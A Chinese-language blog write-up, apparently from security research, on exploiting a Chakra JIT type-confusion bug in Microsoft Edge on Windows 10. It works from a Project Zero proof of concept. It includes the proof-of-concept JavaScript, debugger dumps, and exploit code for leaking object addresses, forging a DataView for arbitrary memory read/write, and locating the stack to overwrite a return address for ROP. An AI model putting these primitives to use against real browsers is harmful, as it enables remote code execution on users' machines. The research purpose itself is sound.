Win10下的浏览器沙箱逃逸 Browser and Kernel Exploitation - EDGE

作者:b2ahex

感觉好久没有更新过了,记录一下之前在win10环境下的 edge + kernel 漏洞利用过程,最终实现沙箱逃逸:

1. 分析篇

POC来源:https://bugs.chromium.org/p/project-zero/issues/detail?id=1290

调试运行poc样本之后,发现对象被改写为0x1234,引发异常访问

发现问题出现在JIT代码中,从type中找到生成的JIT代码,poc中增加Math.cosh.call(func),给math::cosh下面位置下断点查看jit地址:

分析后截取JIT代码片段:

最终引发0x1234(2.3023e-320)说明a被转换为对象数组,从poc中可以看到回调中 a[0] = {}; 会导致a的类型转变,继续跟踪JIT代码查找调用源:

在执行ToNumber之前查看Array a的类型为NativeFloatArray:

dq r13 (array a)
0x000001EC7C4FC620 00007ffd056d7030 000001ec7c4b9140
0x000001EC7C4FC630 0000000000000000 0000000000000005
0x000001EC7C4FC640 0000000000000002 000001ec7c4fc660
0x000001EC7C4FC650 000001ec7c4fc660 000001e47aa78a80
0x000001EC7C4FC660 0000000200000000 0000000000000003
0x000001EC7C4FC670 0000000000000000 0000000000001234

dq 0x0000001ec7c4b9140 (a.type == 0x1f == TypeIds_NativeFloatArray)
0x000001EC7C4B9140 000000000000001f

执行ToNumber之后,此时Array a的类型从NativeFloatArray变为Array:

dq r13 (array a)
0x000001EC7C4FC620 00007ffd056d60c8 000001ec7c4b8fc0
0x000001EC7C4FC630 0000000000000000 0000000000000005
0x000001EC7C4FC640 0000000000000002 000001ec7c4fc660
0x000001EC7C4FC650 000001ec7c4fc660 0000000000000000

dq 0x0000001ec7c4b8fc0 (a.type == 0x1c == TypeIds_Array)
0x000001EC7C4B8FC0 000000000000001c

执行后面 a[0] = 2.3023e-320 时,由于回调函数的作用,数组a的类型已经发生改变,但是JIT代码却没有对数组a的操作进行检查,最终引发类型类型混淆,用户可以控制任意数据最为指针

回顾POC:

生成jit代码
// force to optimize     
for (var i = 0; i < 0x10000; i++)        
    func(a, b, i);

func(a, b, {valueOf: () => {
    设置一个valueOf回调        
    a[0] = {};   
    return 0;    }
});

触发回调,修改a数组类型,造成类型混淆  
function func(a, b, c) {
    a[0] = 1.2;   //数组a是NativeFloatArray    
    b[0] = c;     //这里触发设置之前的valueOf回调,将数组a从float转换成Array 
    a[1] = 2.2;    
    a[0] = 2.3023e-320; //将任意值设置为指针
}

a[0].toString();  //造成异常访问

2. 利用篇

清楚了这个漏洞带来的能力,即构造任意对象指针,我们需要考虑构造什么样的对象,以及如果泄露这个对象的地址。

Array的buf部分拥有完全可控的内存块,供我们构造内存:

var arr = new Array(
     0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
      0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
      0x41414141,0x41414141,0x41414141,0x41414141,0x41414141)  

由于a[0]此处保存着对象指针,修改代码如下,使func直接返回,泄露对象地址:

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    return a[0]; //执行完callback后,a已经变成array,但是jit中还把他当作NativeFloatArray
}

var arr = new Array(
  0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
  0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
  0x41414141,0x41414141,0x41414141,0x41414141,0x41414141
 )

farr64[0] =  func(a, b, {valueOf: () => {
    a[0] = arr;   
    return 0;
}});

//这里uarr[1]存放高地址,uarr[0]存放低地址,组合得到泄露的arr地址
var leakaddr = uarr32[1]*0x100000000+uarr32[0]
alert("leakaddr:" + leakaddr.toString(16))

成功获取到对象地址,此时buf在arr对象偏移+0x58的位置:

现在需要在arr对象的buf部分构造dataview,实现任意地址读写。
首先利用漏洞,设置泄露出的arr对象+0x58的位置得到指向buf的对象:

var a_a = [1.1, 2.2];
fakeaddr = (leakaddr+0x58) * 4.9406564584124654E-324;  
setobj(a_a, b, {valueOf: () => {
        a_a[0] = {};   
        return 0;
    }});
fakeobj = a_a[0];

设置dataview内存布局,由于arr是32位,DataView是64位,所以需要写两次,其中要构造的内容有对象类型,type指针,缓冲区大小,arraybufffer指针(找块0内存),arr[14],arr[15]指向目标缓冲区,后续通过修改arr[14],arr[15],完成任意地址读写,类似PALETTE->pFirstColor/BITMAP->pvScan0:

由于getUint32/setUint32是32位操作,所以进行64位读写需要分开执行2次,其对应的操作方式:
GetBitmapBits/GetPaletteEntries —> DataView.prototype.getUint32.call(fakeobj,0);
SetBitmapBits/SetPaletteEntries —> DataView.prototype.setUint32.call(fakeobj,0);

总结一下,设置arr[14],arr[15],执行 DataView.prototype.getUint32.call/DataView.prototype.setUint32.call完成任意地址读写:

有了任意地址读写权限之后,下面要控制程序流程,因为cfg的存在,我们通过修改返回地址来劫持rip,所以需要泄露出一个栈地址:

找到Recycler对象就能找到stackbase,比如:

使用weakmap对象,验证地址:

接下来从stackbase开始搜索参数找到当前函数的返回地址,改写返回地址即可构造ROP,劫持程序执行流程:

Reference:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1290
microsoft edge browser @holynop